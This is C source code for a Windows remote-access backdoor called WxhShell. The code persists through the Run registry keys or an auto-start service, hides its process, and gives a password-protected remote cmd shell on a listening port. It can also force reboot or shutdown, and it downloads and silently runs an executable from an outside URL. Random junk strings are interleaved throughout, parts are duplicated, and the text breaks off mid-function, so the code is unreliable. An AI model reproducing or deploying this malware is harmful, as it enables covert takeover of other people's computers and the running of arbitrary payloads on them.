2 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DH9p1)L' g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7!;48\O]w NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #MyF 1E '&LH9r if (!NtQueryInformationProcess) return 0; Q8h0:Q j|-{*t{/x hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9z'(4U if(!hProcess) return 0; F2)\%HR MkK6.qV\z
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FlyRcj ,DIr&5>p2 CloseHandle(hProcess); wn Q% 'Eo nvInq2T1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); APUpqY if(hProcess==NULL) return 0; &iTTal.6 MhDPf]`
Gg HMODULE hMod; J]ri|a char procName[255]; Q $^)z_jai unsigned long cbNeeded; -n"7G%$M w678 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0Qr|!B:+9) XjFaP { CloseHandle(hProcess); 4(mRLr%l@` {>h,@ if(strstr(procName,"services")) return 1; // 以服务启动 Dzr(Fb iezY+`x4 return 0; // 注册表启动
M2Zk1Z } 3gQ2wP*K 3kW%,d*_ // 主模块 k = int StartWxhshell(LPSTR lpCmdLine) YgLHp / { Z}`A'#! SOCKET wsl; 0RF<:9@x2 BOOL val=TRUE; zbZN-j# int port=0; WNp-V02l struct sockaddr_in door; ,|^ lqY Ih_=yk if(wscfg.ws_autoins) Install(); 2PViY,V| k/m-jm_h port=atoi(lpCmdLine); 7hAc6M$h; |IZFWZd if(port<=0) port=wscfg.ws_port; eMOnzW|h xlm:erP WSADATA data; ia*Bcx_RW+ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D.,~I^W U&OE*dq if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?UBhM,;XK setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &d 6 door.sin_family = AF_INET; +"3K)9H door.sin_addr.s_addr = inet_addr("127.0.0.1"); %Hpz^<` door.sin_port = htons(port); 8C4v +8 }p-<a if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;|D8"D6] closesocket(wsl); s}Q*zy return 1; 7NP
Ny } V~4yS4 )(DX]Tr` if(listen(wsl,2) == INVALID_SOCKET) { _<7e5VR closesocket(wsl); !3Ed0h]Bfa return 1; 8gXf4A(N } ~Aoo\fN_U Wxhshell(wsl); Ji;R{tZ.R WSACleanup(); 8+8P{_ q:3HU< return 0; ,7^,\ ,-m -3|i5,f } }^Ky)** 9RnXp&w // 以NT服务方式启动 0ChdFf7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ir$:e*E> { o(3`-ucD` DWORD status = 0; `cpUl*Y= DWORD specificError = 0xfffffff; 11BfJvs: x>MY_?a serviceStatus.dwServiceType = SERVICE_WIN32; ?gl[=N V serviceStatus.dwCurrentState = SERVICE_START_PENDING; L<O"36R serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *S\/l-D serviceStatus.dwWin32ExitCode = 0; t(\P8J serviceStatus.dwServiceSpecificExitCode = 0; 9p%8VDF= serviceStatus.dwCheckPoint = 0; |s{[<; serviceStatus.dwWaitHint = 0; #(o( p ~/1eF7 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2R`/Oox if (hServiceStatusHandle==0) return; 3PRK.vf UkgiSv+ status = GetLastError(); x[1(cj if (status!=NO_ERROR) U=>4=gsG { cP&XkAQ serviceStatus.dwCurrentState = SERVICE_STOPPED; Q??nw^8Hi serviceStatus.dwCheckPoint = 0; &dvL` serviceStatus.dwWaitHint = 0; (g#,AX serviceStatus.dwWin32ExitCode = status; <|c[
#f
serviceStatus.dwServiceSpecificExitCode = specificError; *pKj6x SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7?EC
kuSv return; M$+2f.(>k) } ,]8$QFf ma7@vD serviceStatus.dwCurrentState = SERVICE_RUNNING; wwh)B92Y5 serviceStatus.dwCheckPoint = 0; P4.snRQ serviceStatus.dwWaitHint = 0; Fc.1)yh. if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Hpq?I-g<^ } )\|Bghui E-XFW]I // 处理NT服务事件,比如:启动、停止 fk VOID WINAPI NTServiceHandler(DWORD fdwControl) )kuw&SH, { Q2HULz{ switch(fdwControl) n>
O3p
~ { *w_f-YoXp case SERVICE_CONTROL_STOP: *m9,_~t serviceStatus.dwWin32ExitCode = 0; P1Chmg serviceStatus.dwCurrentState = SERVICE_STOPPED; M}*#{UV2 serviceStatus.dwCheckPoint = 0; &0QtHcXpR serviceStatus.dwWaitHint = 0; $jtXNE? { ~lB:xVzn SetServiceStatus(hServiceStatusHandle, &serviceStatus); L#X!. } cri.kr9Y return; -+w^"RBV case SERVICE_CONTROL_PAUSE: t_Rpeav serviceStatus.dwCurrentState = SERVICE_PAUSED; pu9ub. break; KD)+&69 case SERVICE_CONTROL_CONTINUE: yqKERdm serviceStatus.dwCurrentState = SERVICE_RUNNING; *g;4?_f break; T%p/( case SERVICE_CONTROL_INTERROGATE: ^lYa9k break; dJYQdo^X }; 4_B1qN
SetServiceStatus(hServiceStatusHandle, &serviceStatus); T($6L7 j9 } !;ipLC;e} Rr0@F`"R // 标准应用程序主函数 K
oF4e:2> int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8>y!=+9_ { %.+#e 84uHK)h<% // 获取操作系统版本 i9%cpPrg8 OsIsNt=GetOsVer(); [#hoW"'Q9 GetModuleFileName(NULL,ExeFile,MAX_PATH); @3@oaa/v ywS2`( // 从命令行安装 (iw)C)t*u if(strpbrk(lpCmdLine,"iI")) Install(); wqyrs|P 4fp]z9Y // 下载执行文件 d#*n@@V4 if(wscfg.ws_downexe) { f.cQp&&]r if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S66..sa WinExec(wscfg.ws_filenam,SW_HIDE); 0p;pTc } "X7;^yY KL}o%wfLy if(!OsIsNt) { "\l O1D // 如果时win9x,隐藏进程并且设置为注册表启动 ^&mJDRe HideProc(); erC )2{m StartWxhshell(lpCmdLine); {zf)im[. } &+Iv"9 else 6YCFSvA#/ if(StartFromService()) ;[~:Y[N // 以服务方式启动 Cm5:_K`;] StartServiceCtrlDispatcher(DispatchTable); }#h >*+Q else e<;^P(g`E // 普通方式启动 Mx<?c StartWxhshell(lpCmdLine); [`eqma _CDl9pP36# return 0; m.K@g1 G } jbU=D:| :GaK.W
q 7Ib/Cm0d| ]$VYzE2e =========================================== And|T 6u -!kfwJg8N( q|23l1PI Vif0z*\e{ 8a;I,DK=j wf=
s-C " fuQb h ]^j'2nJv0 #include <stdio.h> %bp8VR sY #include <string.h> }95;qyQ$ #include <windows.h> W_##8[r(? #include <winsock2.h> EMV<PshW= #include <winsvc.h> <r{M(yZ?@ #include <urlmon.h> YR{%pZp R6N+c\W #pragma comment (lib, "Ws2_32.lib") SREe,
e\ #pragma comment (lib, "urlmon.lib") 45u\v2,C3 z`^DQ8+\j #define MAX_USER 100 // 最大客户端连接数 kYVn4Wq #define BUF_SOCK 200 // sock buffer .5;Xd? #define KEY_BUFF 255 // 输入 buffer z/,qQVv=}4 \;h+:[<e1 #define REBOOT 0 // 重启 Gxtb@`f #define SHUTDOWN 1 // 关机 F>0[v|LG WP@IV;i #define DEF_PORT 5000 // 监听端口 yJheni &7{/ x~S{ #define REG_LEN 16 // 注册表键长度 7q' _]$ #define SVC_LEN 80 // NT服务名长度 [^cflmV eu]t.Co[X // 从dll定义API |7K[+aK typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {G+pI2^ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gm-I)z!tz typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x}`]9XQ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |b@H]c;" LxM.z1 // wxhshell配置信息 6%p$C
oR struct WSCFG { nZfU:N int ws_port; // 监听端口 -7^A_!. char ws_passstr[REG_LEN]; // 口令 ]<pnHh+2A int ws_autoins; // 安装标记, 1=yes 0=no _::q
S! char ws_regname[REG_LEN]; // 注册表键名 U%Kv}s/(F{ char ws_svcname[REG_LEN]; // 服务名
_e
]jz2j char ws_svcdisp[SVC_LEN]; // 服务显示名 tA?cHDp4E char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?y] q\> char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =5UT'3p> int ws_downexe; // 下载执行标记, 1=yes 0=no 'E4`qq char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z$0+jpG_s char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uN:|4/;{& eb])= }; |M*jo<C x2#5"/~4 // default Wxhshell configuration RGeM. struct WSCFG wscfg={DEF_PORT, cB;:}Q08# "xuhuanlingzhe", ECO4ut.d 1, 9@Iz:!oqb "Wxhshell", K+0&~XU "Wxhshell", 6 9 PTo "WxhShell Service", fZ9EE3 "Wrsky Windows CmdShell Service", ;g3z?Uz) "Please Input Your Password: ", %:v59:i} 1, }Htnhom0n "http://www.wrsky.com/wxhshell.exe", 0{ZYYB&"~J "Wxhshell.exe" B! `Dj,_ }; 4Y):d!'b v^Eg ,&( // 消息定义模块 %idn7STJ} char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cTA8F"UGD char *msg_ws_prompt="\n\r? for help\n\r#>"; I)xB I~x char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Mp *S +Plp char *msg_ws_ext="\n\rExit."; Ywj=6 +; char *msg_ws_end="\n\rQuit."; >m}U|#;W char *msg_ws_boot="\n\rReboot..."; +d[A'&" char *msg_ws_poff="\n\rShutdown..."; ]s*Fs]1+H char *msg_ws_down="\n\rSave to "; HF9\SVR
B 1v)X]nW char *msg_ws_err="\n\rErr!"; xW$F-n char *msg_ws_ok="\n\rOK!"; q P<n< L<kIzB ! char ExeFile[MAX_PATH]; s6#@S4^=\ int nUser = 0; ]!u12^A{ HANDLE handles[MAX_USER]; 59?@55 int OsIsNt; |
HkLl^ %X)i-^T SERVICE_STATUS serviceStatus; pK)*{fC$` SERVICE_STATUS_HANDLE hServiceStatusHandle; =j)y.x( Fq{Z-yVp // 函数声明 rAc
Yt9M# int Install(void); Z_Gb9 int Uninstall(void); Rw]4/ int DownloadFile(char *sURL, SOCKET wsh); ;z6Gk&? int Boot(int flag); <OKzb3e void HideProc(void); A),nkw0X int GetOsVer(void); (nhv#&Fd+ int Wxhshell(SOCKET wsl); KY)rkfo B void TalkWithClient(void *cs); 5e!YYt> int CmdShell(SOCKET sock); U Ox$Xwp5& int StartFromService(void); Km~\^(a ' int StartWxhshell(LPSTR lpCmdLine); !J34yro+s ?
x1"uH VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "W_C%elg VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~<M/<%o2* :!omog // 数据结构和表定义 KFCL|9P SERVICE_TABLE_ENTRY DispatchTable[] = n@LR? { +/ A`\9QT {wscfg.ws_svcname, NTServiceMain}, P]bq9!{1 {NULL, NULL} 8S&Kf>D }; B]PTe~n^ >U~B"'!xV // 自我安装 ;(). int Install(void) fvajNP { :Zy7h7P,lT char svExeFile[MAX_PATH]; Onr#p4UT HKEY key; 4(aDi;x "w strcpy(svExeFile,ExeFile); ILt95l s5 2c`+ // 如果是win9x系统,修改注册表设为自启动 %IS'R`;3 if(!OsIsNt) { q&IO9/[dk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zy(i]6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uN`{; Av RegCloseKey(key); a8T<f/qW k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8ALvP}H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K\ww,S RegCloseKey(key); !XjvvX"j return 0; ({3hX"C@Q } I*e85wef } -b>"2B? } <BIj
a else { Jtj_Rl
! fH.:#O: // 如果是NT以上系统,安装为系统服务 GyV3 ]Qqj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q]_3 #_' if (schSCManager!=0) qC9$xIWq { q#W|*kL3 SC_HANDLE schService = CreateService Bcx-t)[ ( Q)\7(n schSCManager, W1X\!Y wscfg.ws_svcname, W G2 E3y wscfg.ws_svcdisp, 2Mc/ah SERVICE_ALL_ACCESS, ScrE tN SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;dl> SERVICE_AUTO_START, ZF
:e6em SERVICE_ERROR_NORMAL, (yFR;5Fo svExeFile, #5GIO NULL, ~je#gVoUR NULL, qr%9Sdvx NULL, C Ih@H6| NULL, i<|5~tm NULL 'iO?M'0gE# ); ` bd if (schService!=0) 3X$)cZQ { @NGK2J CloseServiceHandle(schService); 8~?3: IZ CloseServiceHandle(schSCManager); Y|J\,7CM strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Zam.g>{] strcat(svExeFile,wscfg.ws_svcname); Ktg{-Xl if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2Yt#%bj7^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i(9=` A} RegCloseKey(key); }f)$+mi return 0; ~<Z;)e } <=8REA? } C.V")D= CloseServiceHandle(schSCManager); Go3EWM`Cd8 } 8DbXv~3@ } !=@Lyt)_b O(;K]8 return 1; _ngyai1 } N+x0"~T}I J&}/Xw) // 自我卸载 XnrOC|P$ int Uninstall(void) Ei2Y)_ { naCPSsei HKEY key; i rMZLc6 V|b9zHh if(!OsIsNt) { f7 V3 6Q8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SCE5|3j RegDeleteValue(key,wscfg.ws_regname); T6JN@:8 RegCloseKey(key); d_=@1JM> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cVJ"^wgBt RegDeleteValue(key,wscfg.ws_regname); )%x oN< RegCloseKey(key); K^`3Bg return 0; aO('X3? } EZaWEW } <y=VDb/ } 8*3o9$Pj else { =8$//$ ,ii*[{X? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G$pTTT6# if (schSCManager!=0) D_
xPa { M3@Wb@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Hrq1 {3~ if (schService!=0) *JE%bQ2Q { Twyx(~'&R if(DeleteService(schService)!=0) { R/r)l<X@ CloseServiceHandle(schService); 5=tvB,Ux4 CloseServiceHandle(schSCManager); R;&C6S return 0; By {zX,6' } A<l8CWv[ CloseServiceHandle(schService); W)3?T&` } ;]zV ?9 CloseServiceHandle(schSCManager); G%w.Z< qy } =gS?atbX } Aifc0P-H #j
-bT4! return 1; J$ } W[BZ/ [G2@[CtY1 // 从指定url下载文件 cHOtMPyQ int DownloadFile(char *sURL, SOCKET wsh) B*btt+6 { "MHm9D?5 HRESULT hr; >nV~5f+ char seps[]= "/"; uc!j`G*] char *token; `s5<PCq char *file; X.hU23w char myURL[MAX_PATH]; H,`F%G#!`q char myFILE[MAX_PATH]; lxb+0fiN e5G)83[= strcpy(myURL,sURL); yG\^PD token=strtok(myURL,seps);
wqB{cr}! while(token!=NULL) f =@'F= { >)*'w! file=token; )QYg[<e6 token=strtok(NULL,seps); )[RLCZ } n%zW6} ^Pl(V@ GetCurrentDirectory(MAX_PATH,myFILE); ?q a strcat(myFILE, "\\"); |{W4JFKJ strcat(myFILE, file); A>WMPe:sSS send(wsh,myFILE,strlen(myFILE),0); i
,Cvnp6Lv send(wsh,"...",3,0); {y)O?9q hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z`x|\jI if(hr==S_OK) /jl{~R#1 return 0; ]&6# {I- else HS> (y2}' return 1; !/]F.0 Py*( % } M)S(:Il6Xx z~&uLu // 系统电源模块 -^sW{s0Rc int Boot(int flag) m(CW3:| { j1{|3#5V HANDLE hToken; d 90 TOKEN_PRIVILEGES tkp; 3FRz&FS:j p3>(ZWPNV if(OsIsNt) { )_bc:6Q OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '%Og9Bgd+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e RY2.! tkp.PrivilegeCount = 1; !5,>[^y3 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Qn=3b:S- AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +8qtFog$\g if(flag==REBOOT) { qLrvKoEX2 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pde,@0(Fa return 0; PWeCk2 xH } 9R_2>BDn else { ,b[}22 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BGM5pc (ei return 0; _vOV(#q2a } fH#yJd2?f } 'Cv,:Q else { GX2aV6} if(flag==REBOOT) { 0\= du if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1
&9|~">{C return 0; Ic0Y } (O5Yd 6u else { bItcF$#!!! if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pi?MAE*f return 0; TQF+aP8[L } w#|L8VAh } 67II9\/ :pqUUZ6x& return 1; kO}&Oi,? } I4X9RYB6c ZNX38<3h // win9x进程隐藏模块 tX{yR'Qhu void HideProc(void) ##7y|AwK { VI&x1C _5jT}I<k HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kt/,& oKI if ( hKernel != NULL ) v _MQ]X { Rqh5FzB> pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZD]1C~) ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8s0+6{vW FreeLibrary(hKernel); *9aJZWf>V } Pb#M7=J/ `<C<[JP:o return; ~|V^IJZ22 } -Uwxmy + 4+RR`I8$Ge // 获取操作系统版本 i+*!"/De int GetOsVer(void) u5(8k_7 { <xOX+D OSVERSIONINFO winfo; -zR<m winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +WH\,E GetVersionEx(&winfo); &]nx^C8V; if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %;,fI'M return 1; ci~#G[_$S else ^`&'u_B!+ return 0; r7m~.M+W" } CJ IuMsZ zw/AZLS // 客户端句柄模块 zR" cj int Wxhshell(SOCKET wsl) ZSC*{dD$E { :!%V Sem SOCKET wsh; HZyA\FS struct sockaddr_in client; oN7SmP_ DWORD myID; h:
' |)O m@td[^O- while(nUser<MAX_USER) `\kihNkJn3 { >HP
`B2Q
H int nSize=sizeof(client); #S}orWj
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B>,eHXW if(wsh==INVALID_SOCKET) return 1; pHV^Kv# ^3;B4tj[ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oP&/>GmXL if(handles[nUser]==0) ?d7,0Ex
P closesocket(wsh); yqT !A else G{U#9 nUser++; DXs an } 8tj]@GE WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aZOn01v;!& 7oE0;' return 0; 9`tK9 } !J$r|IX5 9LDv?kYr // 关闭 socket b}[S+G-9W void CloseIt(SOCKET wsh) mMAN*}`O { uzYB`H< closesocket(wsh); VmS_(bM nUser--; Nu5|tf9%A ExitThread(0); %5o2I_Cjz } )l3Uf&v^f <!OBpAq // 客户端请求句柄 a3@E`Z void TalkWithClient(void *cs) $R9D
L^iD {
gjS|3ED '!HTE`Aj SOCKET wsh=(SOCKET)cs; po| Ux`u char pwd[SVC_LEN]; K@JZ$ char cmd[KEY_BUFF]; L5&M@YTH char chr[1]; 1-2hh) int i,j; n(:<pz mUYRioNj while (nUser < MAX_USER) { ZT0\V
]!B HI.*xkBXl& if(wscfg.ws_passstr) { 66yw[,Y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -ss= c # //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ij"~]I //ZeroMemory(pwd,KEY_BUFF); ]PXM;w i=0; GEBSUvM 7 while(i<SVC_LEN) { -`O{iHfM|P %w`d // 设置超时 ^_2c\mw_I fd_set FdRead; 7sot?gF struct timeval TimeOut; YF%gs{ FD_ZERO(&FdRead); 8=8hbdy; FD_SET(wsh,&FdRead); ~Amq1KU*Z TimeOut.tv_sec=8; UP~28%>X TimeOut.tv_usec=0; p.DQ|? int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <kh.fu@.Q if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p~D}Iyww1_ =pH2V^<<# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w"hd_8cO pwd=chr[0]; (b&g4$!x&5 if(chr[0]==0xd || chr[0]==0xa) { #:K=zV\ pwd=0; 8z=#
0+0 break; .u-a+ac< } Kk3+ ]W< i++; $8tk|uh } #<{v~sVp& {6i|"5_j // 如果是非法用户,关闭 socket i]8O?Ab>? if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Uh}PB3WZ } #]` uH{ H$![]Ujq send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WAu>p3
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kz HYh \Kl20? while(1) { SUS=sR/N DAn2Pqf ZeroMemory(cmd,KEY_BUFF); HC iRk1 ;!n> // 自动支持客户端 telnet标准 <WXVUEea j=0; 8^7Oc,:~ while(j<KEY_BUFF) { (x=$b(I if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7KC>?F cmd[j]=chr[0]; HuhQ|~C+~ if(chr[0]==0xa || chr[0]==0xd) { \YP,}_~ cmd[j]=0; H 0l1=y break; HNzxFnh } ?f?5Kye j++; C'6I< YX } Al>d
21U qBEp |V // 下载文件 Tzq@ic#!B if(strstr(cmd,"http://")) { +nYFLe send(wsh,msg_ws_down,strlen(msg_ws_down),0); F8pA)!AH if(DownloadFile(cmd,wsh)) ~\":o:qyc send(wsh,msg_ws_err,strlen(msg_ws_err),0); %>+uEjbT else R)NSJ-A!2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h"FI]jK|} } br I;}m else {
M @5&. 0jTReY-W switch(cmd[0]) { j|!,^._i [LoQYDku // 帮助 IeYYG^V<A case '?': { [ZWAXl
$ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ! M^O\C) break; VLuHuih } 8dE0y P // 安装 W!{RJWe case 'i': { 1wFu3fh@ if(Install()) ]]j^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q-7?'\h else #Oka7.yz send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \jfK']P/H break; !se1W5ke# } EI_-5Tt RD // 卸载 T^v763% case 'r': { juF9:Eah if(Uninstall()) k]m ~DVS send(wsh,msg_ws_err,strlen(msg_ws_err),0); H/o_? qK else YBt=8`r send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WvfP9(- break; gUklP(T=u } $qD\ku;' // 显示 wxhshell 所在路径 }0'LKwIR case 'p': { t^01@ejM+ char svExeFile[MAX_PATH]; :-?ZU4) strcpy(svExeFile,"\n\r"); E ;Z(v strcat(svExeFile,ExeFile); 3x~7N send(wsh,svExeFile,strlen(svExeFile),0); A5nggg4 break; HE&)N
clY } KA2>[x2 // 重启 XvI~"} case 'b': { VrIN.x send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $hm[x$$ if(Boot(REBOOT)) Bsa;, send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Cz2b/O else { |[`YGA4 closesocket(wsh); 5}%R ExitThread(0); z~t0l } a2P)@R break; J
8
KiL } ?t'V5$k\ // 关机 B_[efM<R$ case 'd': { %9cT#9!7 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }u8(7 if(Boot(SHUTDOWN)) 7r;16" send(wsh,msg_ws_err,strlen(msg_ws_err),0); JCcYFtW else { d88A.Z3w closesocket(wsh); ]Thke 4 ExitThread(0); 5aaM;45C } vn}m-U XA* break; 2E1`r@L } 7qqzL_d> // 获取shell 9"#C%~=+ case 's': { p_I^7 $ CmdShell(wsh); f#z:ILG= closesocket(wsh); s4fO4.bn m ExitThread(0); )Fx]LeI; break; xt}.0dC!/% } V1'otQH2l // 退出 rR6} case 'x': { DgT]Nty@b send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Erw1y,mF CloseIt(wsh); X):7#x@uy break; 1^|#QMT } x'g4DYl // 离开 254V)(t^QM case 'q': { GST#b6S send(wsh,msg_ws_end,strlen(msg_ws_end),0); H=@KlSC^ closesocket(wsh); =mXC,<] WSACleanup(); <|l}@\iRX exit(1); SMrfEmdH+ break; )
A:h } wp@_4Iq1$ } !dT+cZsf } 1 !_p
JT0j2_*Rr // 提示信息 by
@q g: if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uE')<fVX( } _F6<ba}o3 } Gkuqe3 (yP1}? return; .>R`#@+I } !VWA4 e!+ jSE)&K4nI // shell模块句柄 $lT8M-yK\ int CmdShell(SOCKET sock) 2.%)OC!q&5 { tJ;qZyy( STARTUPINFO si; "D.<~! ZeroMemory(&si,sizeof(si)); zb9G&'7 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '9f0UtT|[ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xcW\U^1d PROCESS_INFORMATION ProcessInfo; GbQi3% char cmdline[]="cmd"; r
1r@TG\ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c%pf,sm' return 0; 5/'Q0]4h } <WIIurp Bu=1-8@=qs // 自身启动模式 iuY,E int StartFromService(void) xS1n,gTA { YgcW1}
typedef struct eWAD;x?. { `qs,V DWORD ExitStatus; ^>l <)$s DWORD PebBaseAddress; wx3_?8z/O DWORD AffinityMask; <K^a2 D DWORD BasePriority; 7zw0g~+ ULONG UniqueProcessId; 2QaE&8vW ULONG InheritedFromUniqueProcessId; >p-UQc } PROCESS_BASIC_INFORMATION; $}WT"K oIick PROCNTQSIP NtQueryInformationProcess; >S:(BJMo gEk;Tj static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Yg.[R]
UC static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nvrh7l9nX EF
:g0$ HANDLE hProcess; mh}D[K=~% PROCESS_BASIC_INFORMATION pbi; sn:VM HrOT -b^dK)wR~ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~4~r if(NULL == hInst ) return 0; 4O-LLH [Kc ?<3W g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l0,VN,$Yl g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y5eEEG6 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UnK7&Uo o.!o4&WH if (!NtQueryInformationProcess) return 0; fPD.np} ?P+Uv hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (/I6Wa if(!hProcess) return 0; D{JjSky rn)Gx25 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v1{j1~ZR Kb+SssF CloseHandle(hProcess); 5/n L[4Z j#p;XI hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZJ%NZAxy if(hProcess==NULL) return 0; C,+ '/xynk%)xw HMODULE hMod; >ZkL`!:s char procName[255]; 5?$MZaT unsigned long cbNeeded; |^Y"*Y4*h o_Zs0/ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [Ep'm K^<?LXJF 